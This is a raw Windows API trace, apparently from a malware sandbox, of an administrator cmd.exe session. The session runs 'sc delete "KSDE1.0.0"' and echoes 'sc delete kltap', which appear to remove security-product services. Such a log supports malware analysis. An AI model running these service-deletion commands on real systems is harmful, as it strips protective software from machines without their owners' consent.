[0068.086] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.086] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.086] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.086] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.086] GetLastError () returned 0x2 [0068.086] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.086] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.086] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.087] GetProcessHeap () returned 0x1b0000 [0068.087] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0068.087] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.087] GetProcessHeap () returned 0x1b0000 [0068.087] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xa4) returned 0x1c9180 [0068.087] GetProcessHeap () returned 0x1b0000 [0068.087] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xa4 [0068.087] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"KSDE1.0.0\"") returned 1 [0068.088] GetProcessHeap () returned 0x1b0000 [0068.088] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0068.088] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0068.088] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0068.088] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0068.088] GetProcessHeap () returned 0x1b0000 [0068.088] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0068.088] GetProcessHeap () returned 0x1b0000 [0068.088] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0068.088] GetProcessHeap () returned 0x1b0000 [0068.088] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0068.088] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"KSDE1.0.0\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"KSDE1.0.0\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete \"KSDE1.0.0\"", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0xb64, dwThreadId=0xb84)) returned 1 [0068.091] CloseHandle (hObject=0x50) returned 1 [0068.091] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0068.091] GetProcessHeap () returned 0x1b0000 [0068.091] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0068.091] GetEnvironmentStringsW () returned 0x1d1b10* [0068.091] GetProcessHeap () returned 0x1b0000 [0068.091] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0068.091] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.091] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0068.091] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0068.092] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0068.155] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0068.155] CloseHandle (hObject=0x54) returned 1 [0068.155] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0068.155] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0068.155] GetProcessHeap () returned 0x1b0000 [0068.155] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0068.155] GetEnvironmentStringsW () returned 0x1d1b10* [0068.155] GetProcessHeap () returned 0x1b0000 [0068.155] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0068.156] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.156] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0068.156] GetProcessHeap () returned 0x1b0000 [0068.156] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0068.156] GetEnvironmentStringsW () returned 0x1d1b10* [0068.156] GetProcessHeap () returned 0x1b0000 [0068.156] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0068.156] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.156] GetProcessHeap () returned 0x1b0000 [0068.156] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0068.156] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0068.156] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0068.157] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.157] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0068.157] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.157] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0068.157] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.157] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0068.157] GetConsoleOutputCP () returned 0x1b5 [0068.157] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.157] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.158] GetProcessHeap () returned 0x1b0000 [0068.158] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0068.158] GetProcessHeap () returned 0x1b0000 [0068.158] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0068.158] GetProcessHeap () returned 0x1b0000 [0068.158] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0068.158] GetProcessHeap () returned 0x1b0000 [0068.158] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.158] GetProcessHeap () returned 0x1b0000 [0068.158] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0068.158] GetProcessHeap () returned 0x1b0000 [0068.158] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0068.158] GetProcessHeap () returned 0x1b0000 [0068.158] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0068.158] GetProcessHeap () returned 0x1b0000 [0068.158] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0068.158] GetProcessHeap () returned 0x1b0000 [0068.158] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0068.158] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0068.158] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.158] GetFileType (hFile=0x120) returned 0x3 [0068.158] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.159] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0068.159] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0068.159] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0068.159] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.159] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0068.159] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0068.159] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.159] GetFileType (hFile=0x120) returned 0x3 [0068.159] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.159] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0068.159] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0068.159] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.159] GetFileType (hFile=0xb8) returned 0x3 [0068.159] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.159] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.159] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.159] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.159] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.159] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.160] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.160] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.160] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.160] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.160] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.160] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.160] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.160] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.160] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.160] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.160] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.160] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.160] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.160] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.160] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.161] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.161] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.161] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.161] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.161] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.161] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.161] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.161] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.161] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.161] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.161] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.161] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.161] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="kKSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.161] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.161] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.161] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="lSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.162] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.162] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.162] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="tDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.162] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.162] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.162] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="aE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.162] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.162] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.162] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="p1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.162] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.162] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.162] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.162] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.162] GetFileType (hFile=0xb8) returned 0x3 [0068.162] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.163] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.163] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.163] GetFileType (hFile=0x120) returned 0x3 [0068.163] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.163] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete kltap\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete kltap\n", lpUsedDefaultChar=0x0) returned 17 [0068.163] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x10, lpOverlapped=0x0) returned 1 [0068.163] GetProcessHeap () returned 0x1b0000 [0068.163] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1f8630 [0068.163] GetProcessHeap () returned 0x1b0000 [0068.163] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1f8630 | out: hHeap=0x1b0000) returned 1 [0068.163] GetProcessHeap () returned 0x1b0000 [0068.163] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0068.163] GetProcessHeap () returned 0x1b0000 [0068.163] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0068.163] GetProcessHeap () returned 0x1b0000 [0068.163] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x2c) returned 0x1c6510 [0068.163] GetConsoleOutputCP () returned 0x1b5 [0068.164] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.164] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.164] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.164] GetProcessHeap () returned 0x1b0000 [0068.164] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0068.164] GetProcessHeap () returned 0x1b0000 [0068.164] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x32) returned 0x1c6550 [0068.164] GetProcessHeap () returned 0x1b0000 [0068.164] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc5b0 [0068.164] SetErrorMode (uMode=0x0) returned 0x1 [0068.164] SetErrorMode (uMode=0x1) returned 0x0 [0068.164] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5c0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", 